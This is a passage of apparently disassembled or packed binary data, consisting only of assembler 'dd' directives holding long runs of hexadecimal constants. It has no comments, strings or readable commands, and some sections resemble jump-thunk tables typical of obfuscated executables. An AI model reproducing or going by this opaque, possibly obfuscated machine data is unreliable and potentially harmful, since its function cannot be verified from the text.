		dd 0EA5426A7h, 516CB560h, 257FA9EDh, 8E3643A8h,	83C74B8Ah
		dd 851EBDAFh, 8F5D5706h, 77F1729Ch, 0F2467B86h,	5F8E709Eh
		dd 4A324193h, 1E0h, 1D27A792h, 5EA6C394h, 513FC67h, 0C27D4C5Fh
		dd 2AEF86B5h, 0F765599Ah, 26C0FD06h, 122D7B22h,	37B6F0AEh
		dd 0FF8B23ADh, 70C394B2h, 2771DC0Ah, 20C9CB28h,	1E3241A0h
		dd 2D446FA1h, 0B3678B55h, 91831983h, 0E178968Ah, 52h, 0E30D6F0Fh
		dd 659CBB96h, 5772Ch, 0A2CA1074h, 0BD9F6E7Bh, 0EB418EF4h
		dd 10866293h, 1995D32h,	0C2D40000h, 68BF688Bh, 1E6D9A59h
		dd 0CFD73023h, 7E8263F0h, 3E259C47h, 79FAC5DFh,	0A94A778Ch
		dd 0C61D287Ch, 72E1DC29h, 0BFCB6389h, 30C59A5Bh, 2EC2DB41h
		dd 941DCA86h, 91655DC3h, 72E1DC28h, 35A549F6h, 0B03651EFh
		dd 0A162B796h, 9407790Dh, 90F4CEC3h, 95B2CC2Ch,	0ED57A14Eh
		dd 0E6DAAE95h, 45D75182h, 9407A521h, 36D02AC3h,	3F7C2D7h
		dd 0F278455Ah, 2AC4FB03h, 4A84049h, 0C3940740h,	5E0FF3C7h
		dd 0B9E57E53h, 6F75BE4h, 0C8BC30FBh, 5FC39407h,	2F3E75A0h
		dd 776BBCFCh, 2E5EC013h, 1EC39489h, 0FF77E57Eh,	0BD9F8ECAh
		dd 8F5675Bh, 734E59FDh,	85574B8Fh, 43F94656h, 61095F2Bh
		dd 2DEAD03Ah, 0CA62BF3Dh, 3A616FBEh, 3BD5C931h,	9384FB8h
		dd 3C0D485h, 616F9FEBh,	6CBF103Ah, 0B195E95Dh, 0FB00E95Dh
		dd 788B72C6h, 0DFBDFD41h, 0E31E9644h, 74446A55h, 284A84D5h
		dd 5A80E071h, 7E4CB6D2h, 0EDC13930h, 6D81F462h,	2CE3678Ch
		dd 87h,	5A99B0C2h, 0F46F5AADh, 2231081Bh, 5D86BDC5h, 8E5568B0h
		dd 0B7CD2037h, 65BA6B88h, 1A6A9B58h, 0C2D73023h, 4D9F6CF7h
		dd 9A5AADD9h, 0ED5322C5h, 14F8D5DEh, 916550A5h,	3BE0ED27h
		dd 0F400D3EEh, 3240F155h, 177Ch, 50BD9800h, 4C807445h
		dd 1DB3D2A2h, 0E132C394h, 1F880FD4h, 10000000h,	941D27A7h
		dd 0CFD8C5C3h, 0CCF30BF2h, 0E3DE2B22h, 247F470h, 2A1A8A51h
		dd 41A590E4h, 0D982B1A7h, 293h,	0DE807000h, 0A009FDD4h
		dd 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h
		dd 8871C5FCh, 0DFC4079h, 0CF7BCFFAh, 3B7C68h, 48F5400h
		dd 24048124h, 4, 62F968h, 241C8900h, 272F68h, 243C8900h
		dd 6EE868h, 240C8900h, 0E42DAB9h, 59CB8906h, 243C8B54h
		dd 6804C483h, 500h, 81241C89h, 2D2A2404h, 478F2CA6h, 86F8108h
		dd 2CA62D2Ah, 53243C8Bh, 0C381E389h, 4,	4C381h,	1C870000h
		dd 34FF5C24h, 0C4835B24h, 36FDE904h, 0BF4AFFFDh, 0CE44BAF2h
		dd 58E050A7h, 70FD7444h, 47C8B812h, 0C503060Eh,	20EBD18Bh
		dd 8 dup(0)
		dd 58FE9h, 583E900h, 17680000h,	0E9060E4Ah, 0FFFD36AFh
		dd 0E4ACA68h, 36A5E906h, 0BA68FFFDh, 0E9060E4Ch, 0FFFD369Bh
		dd 0E4D2168h, 3691E906h, 2E78FFFDh, 0D423CC17h,	82917EE5h
		dd 237B944Fh, 0D226C71Ch, 9AC170E3h, 0DD063943h, 0DD6EB30h
		dd 0BAB994E0h, 0D60D384Dh, 0DBAFC725h, 0ACC59A55h, 0D3DE67DDh
		dd 0D5C00AFEh, 8C58F6CDh, 43941DFCh, 4D524329h,	4DA19CE5h
		dd 496B85F9h, 0F7A544BCh, 4E8CB240h, 68000000h,	941D26A7h
		dd 6A8418C3h, 21CB2F16h, 0F2D2D5BAh, 94420E7Ah,	9EB981C3h
		dd 0A91035D9h, 0A5996D50h, 8D4DE18Bh, 4FBD9914h, 38A23E10h
		dd 286CD0E9h, 8F2660EFh, 6043E261h, 0A9DD5124h,	3E3A6630h
		dd 0D6543BC4h, 45BCA79Bh, 13h, 1D27A7EFh, 8517C394h, 38F86CFEh
		dd 0B7BD99E4h, 0DE609043h, 0E1D25D3h, 18B2C9BFh, 0B4C73624h
		dd 45C90410h, 65592D01h, 97B18C94h, 38ECB3B3h, 4553456Bh
		dd 0CED7860Ah, 0CCF90AF3h, 95100A78h, 717CA4F9h, 93407988h
		dd 0BFADBAC3h, 945A5737h, 1EE2D843h, 0FD6F5AAFh, 45C90410h
		dd 520CE701h, 615CA44Ah, 0DF3FDDD6h, 47BBDD2Ch,	4B681195h
		dd 0FDC53D9Fh, 79A9D909h, 247CBA61h, 0ADF223A9h, 0ECC0FF05h
		dd 100A2418h, 0AC3570F9h, 74D0h, 0D6F3C00h, 0C85AE476h
		dd 941D20A4h, 0B553A7C3h, 99DD7C21h, 6389F1BDh,	5B2F47D1h
		dd 2C3A65A2h, 0C0D538D6h, 50E26EF5h, 65A3A8DCh,	2DDB3F3Ah
		dd 6DFAD720h, 86661FB7h, 42894EC4h, 0C9000003h,	0B05D86BDh
		dd 1E8F5465h, 0C8253E13h, 0B75083B2h, 3281526Dh, 0F5C8D02Bh
		dd 4578816Eh, 2827719Eh, 0FCC9DACBh, 0DE569A67h, 0C59A57AAh
		dd 0C8D64E3Dh, 30Dh, 0FED3DE50h, 1DAADA0Ah, 1348C394h
		dd 990D1E84h, 0C39436EDh, 50FF1862h, 0E5719FBFh, 0C3948D65h
		dd 948CEE9Dh, 8C7808C3h, 6B9AC394h, 7A5E221Dh, 8C4838CCh
		dd 0D0B0C394h, 0E003948Ch, 0E655879Ch, 2FE5E7DFh, 38DE9579h
		dd 9858FA05h, 6DFF719Fh, 1988A3CEh, 4CFAAD73h, 99C3D4B8h
		dd 0C4D7C6FDh, 23CD01F5h, 326ADE24h, 0E30BD16Ah, 846D9446h
		dd 7AB4B387h, 894C7051h, 28FC6B9h, 2140000h, 0A8FF28CBh
		dd 5EAD5A99h, 0F17F063h, 0BEC22330h, 0FEE55C87h, 393A051Fh
		dd 698AB7CCh, 865D68BCh, 32211C69h, 0FF8B23C9h,	70C59A57h
		dd 0D5DE1B81h, 1DE2E60Eh, 1D65C394h, 47555539h,	0AEF751A9h
		dd 0F7EB2F93h, 0ECC0FD06h, 0FEE6C17Eh, 82B583FEh, 36628A64h
		dd 39BD99BDh, 0A6F512C1h, 0D13C48ABh, 0F25BF5C8h, 0C626AAA7h
		dd 37BFADB6h, 446BEA0Bh, 43DDDD7Ch, 0D33E4AE2h,	49B13077h
		dd 0CB68F98Eh, 81211493h, 48AC8039h, 94EC19ABh,	97F77FA9h
		dd 0A73077EDh, 3F9C4ED5h, 16549F80h, 0F3C2D8DBh, 0A195609Fh
		dd 7A1D0B0Fh, 0A28A22CCh, 9D4E7AD5h, 3D46B7A5h,	0E132D300h
		dd 0B5193441h, 3C80B1C4h, 3C80E4D8h, 40F54434h,	0B034462Eh
		dd 2E40FAD4h, 691D915Bh, 0FE2E40FAh, 797A084h, 381ADC3h
		dd 1E7E3EE8h, 835FD705h, 0D4504DC9h, 84917CEEh,	2772A349h
		dd 8A7BFC2Ah, 0F3CED979h, 3D42CB0Fh, 88582C00h,	2451F8E8h
		dd 0F50AA4F8h, 0F406D4C8h, 51F81470h, 0B5A79B24h, 51F85531h
		dd 46E0DA24h, 1C00A4h, 0BA135A5Ch, 87558365h, 0C6AB9777h
		dd 0C63A1EE2h, 7A9CE914h, 24D34609h, 0ACF25B3Ah, 89ED2195h
		dd 5D68BD6Ah, 50EBB1E9h, 2BD2628Ah, 251D5C2Eh, 9BF19151h
		dd 7C24183Dh, 0E43AEB71h, 28196CDDh, 54C660A4h,	0DEA76B5h
		dd 320F1A8Bh, 0C4D14h, 0A7AB0000h, 0C3943227h, 20B0h, 1EBDD800h
		dd 0AEC6AEB9h, 0C394A6DAh, 55AA55ADh, 3EB6A439h, 0C394364Ah
		dd 0BB4BE5DDh, 0C39418CBh, 800D6F5Dh, 941D186Ch, 5CFEAFC3h
		dd 0AC8935B6h, 1F50EFD3h, 2B3695DCh, 0BA349ADh,	0BD99C72Fh
		dd 84563A00h, 0AFC70C19h, 3A65C4DBh, 8E7256ACh,	7C009C4Ah
		dd 8F175E7h, 88446EC0h,	0E38071Dh, 0D23EC931h, 198C7109h
		dd 9F5629h, 12640000h, 0B8CF383Bh, 6EBD6A89h, 1F678053h
		dd 0CED23320h, 8ED56CF7h, 0C92A156Fh, 79FAC7DCh, 964D788Ch
		dd 0C2112C79h, 0CFBB3339h, 40C59A51h, 0D6F0BF1h, 45B990E3h
		dd 0E53B1F97h, 0B461BD99h, 58B7516Ch, 0B195A4F7h, 0C7C07FCDh
		dd 0EEEE1D3Fh, 0A9F3CB65h, 29244892h, 0BE446E61h, 0A64F8B44h
		dd 8E848C71h, 38C9h, 9CABFF00h,	625FA647h, 340514F1h, 99B8FE2Fh
		dd 6857AD5Ah, 0C6254C8Bh, 0B75083B2h, 6780536Eh, 0D03D2611h
		dd 0A0698AC7h, 50A02448h, 5827C59Ah, 3C8E0h, 84500000h
		dd 0FDD4DE9Ch, 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh
		dd 5F66BA63h, 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 8951CF7Bh
		dd 4C181E1h, 81000000h,	4E9h, 240C8700h, 2404895Ch, 6A6168h
		dd 243C8900h, 688568h, 24348900h, 410EBA52h, 0D78905EBh
		dd 0A8F7815Ah, 6803E509h, 109Ch, 81242489h, 42404h, 575E0000h
		dd 8F242C81h, 8F09E827h, 46810846h, 0E8278F08h,	2434FF09h
		dd 4C4835Eh, 56243C8Bh,	0C681E689h, 4, 8704C683h, 0E95C2434h
		dd 0FFFD3143h, 0AF61685Dh, 2ABE9BF8h, 3478F440h, 4D7EB8EEh
		dd 0C503060Eh, 51E9C88Bh, 60000000h, 2424748Bh,	8B3C7603h
		dd 8B28247Ch, 0F8C281D6h, 66000000h, 0F064E8Bh,	0F983C9B7h
		dd 16840F00h, 3B000000h, 8F0F0C7Ah, 15h, 8B28EA83h, 4A8B0C42h
		dd 2BC12B14h, 247C89F8h, 8C2611Ch, 28C28300h, 0CF850F49h
		dd 0E9FFFFFFh, 0FFFFFFE9h, 9FD3EBAh, 5E800h, 0EC620000h
		dd 661DE411h, 2857D181h, 0B96658h, 0A8C081FDh, 0E900005Fh
		dd 14h,	0A07FB769h, 3B040E49h, 0CD23B671h, 0C04ED442h
		dd 49B5D37Ah, 0C9A12CBAh, 6AEA8177h, 8B77C989h,	0C381F818h
		dd 3B6B5886h, 0EF32B966h, 404BEB81h, 0E9562D20h, 0Eh, 3D5ED17Dh
		dd 0EB5558F7h, 4532C604h, 815EC986h, 11E7DDC3h,	6656600Ch
		dd 0BE93DE81h, 0DBBE665Bh, 18896162h, 2F08160h,	8109F3B9h
		dd 0D91CAFE6h, 0E8816113h, 5F4700DEh, 0C081CF8Bh, 5F4700DAh
		dd 8B1FF781h, 0EA816D97h, 1, 0FF95850Fh, 0D9E9FFFFh, 20000000h
		dd 2C0FBE1Dh, 0DF2F82C1h, 0FDBEB6CFh, 36365D54h, 0BCECA4h
		dd 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h,	325277CBh
		dd 9CACACh, 0F7F691B8h,	9382CD64h, 38h,	3Ch, 40h, 94h
		dd 5, 1, 0A28h,	2, 20h dup(0)
		dd 2E9F2250h, 1FA9E9h, 52036800h, 3CE9060Eh, 68FFFD2Fh
		dd 60E5304h, 0FD2F32E9h, 53D968FFh, 28E9060Eh, 68FFFD2Fh
		dd 60E54ABh, 0FD2F1EE9h, 558968FFh, 14E9060Eh, 68FFFD2Fh
		dd 60E5640h, 0FD2F0AE9h, 56EF68FFh, 0E9060Eh, 68FFFD2Fh
		dd 60E57A7h, 0FD2EF6E9h, 5B0768FFh, 0ECE9060Eh,	68FFFD2Eh
		dd 60E5BA4h, 0FD2EE2E9h, 5CC568FFh, 0D8E9060Eh,	68FFFD2Eh
		dd 60E5FF8h, 0FD2ECEE9h, 636F68FFh, 0C4E9060Eh,	68FFFD2Eh
		dd 60E66DAh, 0FD2EBAE9h, 684868FFh, 0B0E9060Eh,	68FFFD2Eh
		dd 60E68C6h, 0FD2EA6E9h, 691168FFh, 9CE9060Eh, 68FFFD2Eh
		dd 60E6977h, 0FD2E92E9h, 6A9A68FFh, 88E9060Eh, 68FFFD2Eh
		dd 60E6C19h, 0FD2E7EE9h, 6D0868FFh, 74E9060Eh, 1DFFFD2Eh
		dd 0C4213209h, 0B25380B1h, 1C896A67h, 0CB243F06h, 0EE558EB1h
		dd 211C6487h, 0F1CCD532h, 44738562h, 28256E9Fh,	822AC6CBh
		dd 0C59A4DC6h, 0DE02FA49h, 0C614F8D5h, 1D5430B4h, 0E7DBC394h
		dd 86B3C449h, 0E07B015Dh, 196FF27Ah, 40ADBD9Fh,	17FF1831h
		dd 3D358D96h, 0B655B25Ch, 0DAFA8AB2h, 493D1186h, 6096E999h
		dd 69643C3Ah, 34987A93h, 0BE36402Ch, 3A609ECAh,	36CB655Dh
		dd 25h,	760D6FDEh, 5D140E4h, 645EBD9Fh,	0CB305090h, 0BFE53A60h
		dd 0C733DA2Eh, 0F81E2C35h, 92000000h, 0B251463h, 0F8D5DE15h
		dd 0FD99C614h, 1A3FA791h, 3E82BDCBh, 0C548E6DAh, 34085BBFh
		dd 0A88771D4h, 9014A6B4h, 0C394A0F4h, 6FB6077Bh, 0ED5CB452h
		dd 0D2EF3898h, 56A30AFEh, 5576F87Bh, 0D8C394A4h, 0E761F2CFh
		dd 63D7EE36h, 0FB0C012Fh, 5A227ACEh, 0A4CBBF37h, 0F35CC394h
		dd 5FB397AAh, 0BA1C198Dh, 32BCBD9Fh, 6192CEBAh,	0CF79413Ah
		dd 2C889F70h, 488ECDDh,	80744355h, 0EF74684Ch, 8456ED8Fh
		dd 6C037A60h, 0F37BF544h, 3073C197h, 1CCE2218h,	4F94ABF1h
		dd 0EC7B5A5Eh, 8C700789h, 0DA857AC8h, 0DD00001Ch, 8461F2C9h
		dd 72934071h, 0DCC92A27h, 8B64FFC6h, 2E954E71h,	0E1DC24C7h
		dd 0B18C9572h, 43345A2h, 0E8E52EDFh, 0C26A860Bh, 0C59A4F86h
		dd 0BDC2BA09h, 76FE4150h, 0C3941D12h, 0C549AD95h, 0DE320F14h
		dd 0F8C7DD30h, 9572E97Bh, 0C0ED2FC6h, 0E1BF21Ch, 0BDD02033h
		dd 1DCFBB33h, 7A40C394h, 97ACF0CCh, 5702145h, 85FDBD9Fh
		dd 0CA513131h, 1C843A60h, 8A9A0B91h, 5D8BCFB3h,	35C84AE3h
		dd 0C6672Ch, 0DE810000h, 0A514F8D5h, 4E9C605Fh,	1DDCA83Ch
		dd 0FA53C394h, 8CBA9EABh, 9419CBF8h, 0C394AC3h,	0A3CB55D7h
		dd 3C6BE127h, 59B452A8h, 0BF8D714Ch, 0E1CDB92Dh, 78423C6Bh
		dd 95AECECEh, 0FF2A2F47h, 271B4260h, 11A623Ch, 0ECD92ADBh
		dd 4D04A842h, 0C2446D5Ch, 798372F8h, 81139D46h,	733C196Dh
		dd 7A94EE30h, 0D9238993h, 2C3E12E6h, 733CCCB8h,	1B7F4330h
		dd 70C26BCCh, 0EFA0A28Ch, 1BD9h, 62F1C8DAh, 9C477285h
		dd 0CA292073h, 65FEC5DDh, 964D7088h, 0DF25382Fh, 8D9273E0h
		dd 3242A3B0h, 0DA2FD81Bh, 658774EFh, 9A4E85C1h,	0C5BB0AC5h
		dd 120DADEh, 987ADBE1h,	0CEF308F1h, 8F9500EAh, 30DD96B0h
		dd 8B09EAE7h, 9D4150BDh, 0F5C9BD88h, 8D967791h,	81DCCB0h
		dd 3E51263Dh, 7BE17A02h, 9F05D6F3h, 0C6357BDh, 0ED66B6FAh
		dd 5DE6B6F1h, 4D66678Fh, 93E780F9h, 60ADCF2Fh, 0CF43B8CCh
		dd 0D7CB0FF4h, 0FA0AFB05h, 18257AC3h, 2EB650B4h, 8AC44853h
		dd 0AF0CDE24h, 0B91AD8A2h, 0BA323847h, 0F2C403CEh, 1DCF7941h
		dd 99ED0193h, 6EF2C403h, 613FA14h, 3DDA93Dh, 0B73FF2C4h
		dd 0F2C403D3h, 0A9916E54h, 3441AEB5h, 0C593CE19h, 0F45E4F07h
		dd 1B0413h, 0C4F30700h,	0AAA7EE1Fh, 7C4D5C49h, 0C1F006E7h
		dd 90AFF512h, 0EEDF443h, 0FF28CB0Ah, 0AF589BA6h, 18F56E59h
		dd 0D821320Fh, 4EE89C10h, 907FC59Ah, 0F8D5DE28h, 384CE072h
		dd 8FC3941Dh, 75B59D4Bh, 0A6CE1C27h, 0BD9F1A83h, 198D1FA9h
		dd 3A60E36Dh, 3C4898E2h, 0B33A60E3h, 9EF2CFDAh,	0EF3A9370h
		dd 362A6ED2h, 0CF49582Dh, 0E411C890h, 0BACDD541h, 217DAB8Fh
		dd 921AC05Bh, 446B9DB7h, 63C1D7B8h, 7D512514h, 7D51B519h
		dd 469D61Ah, 3D64B0F1h,	6E996D9Bh, 400ECD1Dh, 0B135273Ch
		dd 91A7B1D0h, 4B91655Dh, 0B721F514h, 1761CD85h,	922AC438h
		dd 43EB710Ah, 9BB2490Eh, 44B1BB9Fh, 29D40633h, 0A344E2D1h
		dd 0CB043142h, 6035BD88h, 321CF357h, 7500001Ah,	0DCC92A21h
		dd 8A7BF8C9h, 7491427Fh, 23CC172Eh, 0C67DE6D9h,	19247C9Fh
		dd 0E9D42DDAh, 0BC8B9D0Ah, 3D46A7h, 0AAC22ED3h,	0C59A49DEh
		dd 0DE7AE251h, 0E072F8D5h, 941D384Ch, 457881C3h, 0D8229DF1h
		dd 0BAC2DA2Eh, 61D5E034h, 0AF7E0DF6h, 311584F6h, 0E6E70FDDh
		dd 67BD9FB0h, 33BFC013h, 22C85329h, 6AA0BF8Ah, 0EC53DD44h
		dd 4C9E502Eh, 3F4B9BBCh, 0B0307E71h, 780CA04Ah,	0CF307E71h
		dd 5FFE5D8Bh, 7A53F479h, 0AA8DE182h, 0D63A7E5Ch, 152E4EDBh
		dd 0D3DEAFC7h, 9DC2EADEh, 0CB268E76h, 1FFC2A74h, 4557573Bh
		dd 3DA22C3Eh, 60984144h, 0ED79978Ah, 0ECA9F490h, 0BDCF1D65h
		dd 0DE084150h, 342F1A6Fh, 7F28CEDBh, 9789459Eh,	0AFF1DD0Bh
		dd 0E4D8BCA9h, 33164780h, 4DC5352Ch, 19548Ah, 74435700h
		dd 0DAF73EEFh, 0AC9DEC19h, 714056B7h, 0C0FF05E2h, 5EBDA413h
		dd 0FF87B5Ah, 0FF28CBF6h, 0A8459EA9h, 8F1625Fh,	48384CE0h
		dd 0C08FC59Ah, 0F8D5DE58h, 74A0CD72h, 1EFFE714h, 7C0018F0h
		dd 20F175E7h, 8DBD9F52h, 0F322AEB5h, 0E327ABA6h, 104C5045h
		dd 0B865F78Ch, 1C76896Fh, 6E221F5Eh, 9A12DC0Ah,	446A0DAFh
		dd 65905AA0h, 940B2510h, 3F681852h, 8B90EC35h, 0FBCCD61h
		dd 0B15C4B38h, 0ACE0546Bh, 0C9BD8582h, 0AAB0CBD1h, 0AC9BED18h
		dd 1D1A393h, 0AD5B7644h, 3A5A4D9h, 1BC1394Dh, 0EA3999EAh
		dd 0CB2F63D7h, 9FAAFF28h, 0C66B2F50h, 8B4CC695h, 189Dh
		dd 0A6BD949Eh, 0D0033E49h, 0ED5E437h, 0B9BA99E1h, 0EA09344Ch
		dd 93E9046Bh, 4156B7ACh, 0FE06E77Ch, 0A6F31CC7h, 0A94348ABh
		dd 9A4B4105h, 8177C6C5h, 14F8D5DEh, 69F38814h, 0EAE72EDFh
		dd 435B2266h, 0CF02D27Ch, 40BD9F27h, 0FD94F97Ah, 0BAA0BBC1h
		dd 6BED1732h, 38221844h, 618FBACDh, 0F85DEC7Ah,	0F6DC2B5h
		dd 0C9001382h, 0B4D54D39h, 84F8C2A3h, 0ECAFDE56h, 0DA20DDBFh
		dd 0DD663676h, 0FB73FD0Fh, 9981A08Fh, 780C3A00h, 0E78AAB05h
		dd 4BBAA09Ah, 0B78E963Eh, 91F579C3h, 16979E99h,	0FD4C82Ch
		dd 0AFB8959Eh, 2C4D611Ah, 0EE66D929h, 31000017h, 9875EEE5h
		dd 46A7BC8Dh, 30DD063Bh, 9F08EBEAh, 1AB9BA85h, 0DDE038D3h
		dd 0AD90E906h, 704F59B6h, 0C4F102E3h, 0F67EF21Fh, 0C59A4B92h
		dd 0DE3EA615h, 1414F8D5h, 0C569F388h, 0BD99E0D1h, 0FFE6C56h
		dd 0F6D14FAh, 0D979AA4Fh, 0A62A2770h, 41D50E62h, 3A65EF95h
		dd 964DD6A5h, 7C842C79h, 93A2F841h, 6CF7EB2Fh, 42E235E0h
		dd 9271B32h, 0BCC9E7B5h, 37BFAD81h, 44681203h, 42CC1E64h
		dd 0E353B11Dh, 5393974Ch, 3077CC37h, 0F1C0D7B8h, 3BD5C90Dh
		dd 953144B1h, 8C574B86h, 51251463h, 3D041A8Bh, 7E93A13h
		dd 0A2935E29h, 6AE5D95Dh, 8C74DE51h, 36C5BA88h,	79000017h
		dd 20CD162Dh, 8E7FE4D5h, 78954E83h, 27C01322h, 0C271E2DDh
		dd 538409Bh, 0D5E831DEh, 0B897E10Eh, 0C394ABBh,	0AEC62AD7h
		dd 0C59A4ADAh, 6F66DEADh, 40E4760Dh, 0BD99E054h, 8875E7DBh
		dd 0C591427Fh
		dd 37BFADB6h, 3A65AC47h, 0C66ED228h, 3A65AD87h,	4D474652h
		dd 2C31BC9Ch, 51B5h, 0C6F5300h,	1D196D81h, 94EEC394h, 12E6DD25h
		dd 9C10DA3Eh, 0C3941DE4h, 0B3B3077Bh, 0C3941DD3h, 0F9139206h
		dd 32400D50h, 2579h, 26A78700h,	18C3941Dh, 806DFF84h, 4E3AB275h
		dd 0C1C3941Dh, 0E33485F9h, 2E62D6h, 0FCBBC66Eh,	360CBD9Eh
		dd 0D6FD72Dh, 0D2A699E3h, 0DC509AFEh, 0BD9F04C1h, 92582C16h
		dd 0C898EC00h, 2B6F3A60h, 3C0710FDh, 60C8DCA8h,	9E6F533Ah
		dd 0F2D6BA97h, 5FA8459Eh, 0D52F9E62h, 0F42E66EAh, 0CA0710F9h
		dd 3934BB20h, 591C8360h, 7D47965Dh, 8EB89CBAh, 47EF38D5h
		dd 5FD70534h, 3A60B62Bh, 9E6246BCh, 0F765FE9Eh,	5362B865h
		dd 0E97DABEFh, 446BAEB8h, 0F916CD35h, 52D91ACh,	0B84BF926h
		dd 1DE1DC29h, 9B6F56ACh, 3F535286h, 48D0DDD7h, 0D5734E5Dh
		dd 0C1122F78h, 12E6D324h, 986C53ABh, 41A6277Dh,	2DDA1934h
		dd 119EDD8h, 0E87AE07Bh, 0C4B2D65Eh, 0CD35B826h, 0B418297Ch
		dd 1B2EB650h, 1C62DF2h,	9BB58094h, 709D46BCh, 0F7A62A27h
		dd 7E2F93AEh, 89B61A37h, 0CC505F7h, 9CE26BB6h, 1268D1A5h
		dd 0DEEFC123h, 5F6E44ACh, 0BDC56DB6h, 0FADE3286h, 4E7B8C79h
		dd 708570FAh, 4F9DF145h, 336EA327h, 30DE24B6h, 0E10B106Ch
		dd 386ADC4Dh, 0CA2911C8h, 1C68C8DDh, 5795D21h, 70D1B1B1h
		dd 0BCE4DC08h, 9519AB31h, 9C0870F1h, 6BE20C76h,	0D730231Eh
		dd 5B02F6C1h, 238A7E41h, 0AA13E7DAh, 77139B54h,	0F89C0870h
		dd 3FDAAE82h, 0A8166865h, 6DDA39A6h, 0B1012AC2h, 6B901D97h
		dd 0D431221Dh, 391460C0h, 73887155h, 37E66A4Eh,	246CD0EFh
		dd 0E16FF0Eh, 3BA02C37h, 1FF9AEEBh, 55B856D5h, 68807443h
		dd 7EDD0F14h, 0B04E3C56h, 256EDF76h, 0C660A428h, 0D2AD8024h
		dd 0AEA2E203h, 5B64206h, 5426C59Ah, 5DDF782Bh, 72C63A1Eh
		dd 0DBC0CDC7h, 0DE68F2CDh, 5FA3256h, 0A34DB59Ah, 0E7D227C0h
		dd 6C59AA13h, 0CAF50FFEh, 3F45341Ch, 6AEBC00h, 9A05FA42h
		dd 0F80CFDC5h, 0C4DC79CDh, 0C9CBB5C9h, 0F7C2D73Ch, 5E63B865h
		dd 0FF7896EAh, 6B21CE6Dh, 750D0E93h, 15C861DBh,	25E18BD2h
		dd 0F000000h, 6DFFD6DEh, 0F4587180h, 9A927690h,	7BF37902h
		dd 0BD9F065Eh, 0DBB1302Fh, 0C519AE0Bh, 308372E1h, 2D000000h
		dd 0E509D6DEh, 0C3941DE1h, 32381C66h, 1D780CA0h, 50CFC394h
		dd 8398E81Ch, 709EF2C6h, 67FC8098h, 0B1DC71F5h,	0D13CBD9Fh
		dd 0FC5BF5C8h, 46A75D86h, 0FB00ED2Bh, 0F01E72C6h, 0A14BD0ACh
		dd 9F05380Dh, 0D2350DBDh, 0DC8BD10Eh, 8BF60129h, 1F38FFD1h
		dd 0CF7995EAh, 0D35F4307h, 4332A929h, 8CC86185h, 0FB4F768Ah
		dd 3985A387h, 9A12D863h, 0B8DEBCEBh, 72AA1E64h,	0A3CB112Ah
		dd 42A99B2Eh, 0E4DB23D2h, 67F5CD4Ah, 83506DB6h,	2B241162h
		dd 872C90BAh, 0D676C939h, 0D9000013h, 806DF6CDh, 6E9F4475h
		dd 0D8352E23h, 8760F3C2h, 2291427Dh, 0E5D8203Bh, 0B588917Eh
		dd 183741AEh, 0ECD92ADBh, 0CE668A77h, 0C59A46BAh, 0A7C6BE0Dh
		dd 0C3941E23h, 0FECBDCC9h, 8024360Ah, 3C6BE2C4h, 0C5D9774Bh
		dd 36BEACB7h, 4260DACBh, 699446BCh, 6B05231Eh, 0BFC66ABAh
		dd 0E6DA3E82h, 642EA74h, 893A60E8h, 50DC97B1h, 5430B4C6h
		dd 0DB3A60E8h, 0E81B6FE7h, 96EC3A60h, 0E8A42044h, 0D72B3A60h
		dd 0F5C0D439h, 844F5801h, 60E86460h, 0B397EB3Ah, 62F033B4h
		dd 7F84A86h, 1339h, 0C211287Ah,	7CE7D225h, 0AA498093h
		dd 0C51E257Dh, 76EDD028h, 3F4598CFh, 0ED32D300h, 92E203D0h
		dd 3A4FB8BBh, 0C527D40Fh, 9A4625A1h, 65DBAAC5h,	0E4760D6Fh
		dd 9F259D40h, 68BD12BDh, 0B195E95Dh, 1E2B7AABh,	0ECDD28C5h
		dd 0B264B118h, 0B63C8380h, 6352A83Fh, 6347BB9Fh, 0A726629Fh
		dd 0D91A377Eh, 5F3A32B4h, 0F16E7D8h, 0E7E64E32h, 0D53A6038h
		dd 8A9D0283h, 7DDE5F64h, 9DF1CD7Ah, 9101104Fh, 0AED4FEBBh
		dd 7E5CBC68h, 7791F5C2h, 7F8570FCh, 6E98FC40h, 0B3B9889Fh
		dd 0EA043142h, 0ED760666h, 4A878E7Fh, 8A6482C6h, 48778D78h
		dd 9E6680C4h, 446D47AEh, 629359A1h, 0CE3F2411h,	0E3071DC5h
		dd 6D1ADCBAh, 0C448AC3Dh, 0D0EF3980h, 8C1008FCh, 92C165F7h
		dd 764E7F2Ch, 600440E4h, 0B78B2E4Ch, 9A40BA99h,	30231E6Bh
		dd 3F7C2D7h, 8DB8CC39h,	3A415B63h, 9014A630h, 2E4C60F4h
		dd 60EA9E16h, 57D2E4Ch,	9CB740BAh, 9CDB009Dh, 7568FC2Ah
		dd 0CA5047CAh, 1A5A77F0h, 0A999988Ah, 1218D6h, 300F1B00h
		dd 86B3C223h, 6861B05Dh, 3D041A8Bh, 8CB3C926h, 62F9E057h
		dd 0D33C271Eh, 836CF7CAh, 6C995A75h, 0C4352E1Bh, 41C48024h
		dd 0FC4BC59Ah, 1D2AA704h, 63B5C394h, 0CDAF8F54h, 5B00A4B6h
		dd 0D4BD99E0h, 3F132E7Bh, 98B1C02Dh, 1CCDBD5Bh,	3531C005h
		dd 171h, 700F6FD3h, 0A71EBD9Eh,	0C3173D0Ch, 22B8928Dh
		dd 84F8F569h, 6DAADE56h, 0C53DC394h, 5C2D412Bh,	7DC3946Dh
		dd 47BDA305h, 6F827A75h, 0A49F710Eh, 750A6FBCh,	0DCE136E7h
		dd 0D048CC32h, 40050CCDh, 422537h, 8B70000h, 5D76E94Eh
		dd 0F46A849Fh, 764B50BDh, 0FF437E87h, 4C516D9Bh, 0F0DBC4E8h
		dd 1C70EC11h, 5829BDBAh, 0D5C3941Dh, 47BD0BEDh,	9025D3DEh
		dd 1980344Dh, 0BD259BFFh, 0DA744550h, 48C830D6h, 50000000h
		dd 91E40E6Fh, 84F8DCA0h, 0C233BD22h, 384C84B1h,	8FC3941Dh
		dd 84F8D5DEh, 0C976806Ah, 48700044h, 0C591BF02h, 0C3943A84h
		dd 536EB964h, 0DC22ABEFh, 22604BE5h, 0BD47BD4Ch, 81084150h
		dd 93F75B76h, 0B0899875h, 0CD857BDEh, 3740050Ch, 5125h
		dd 0B08B700h, 0F6EFB192h, 6752A716h, 0AB91BF93h, 84150BDh
		dd 1D3E4AE2h, 49B1C394h, 0E57A1F9Fh, 0DDC877h, 5A643BE7h
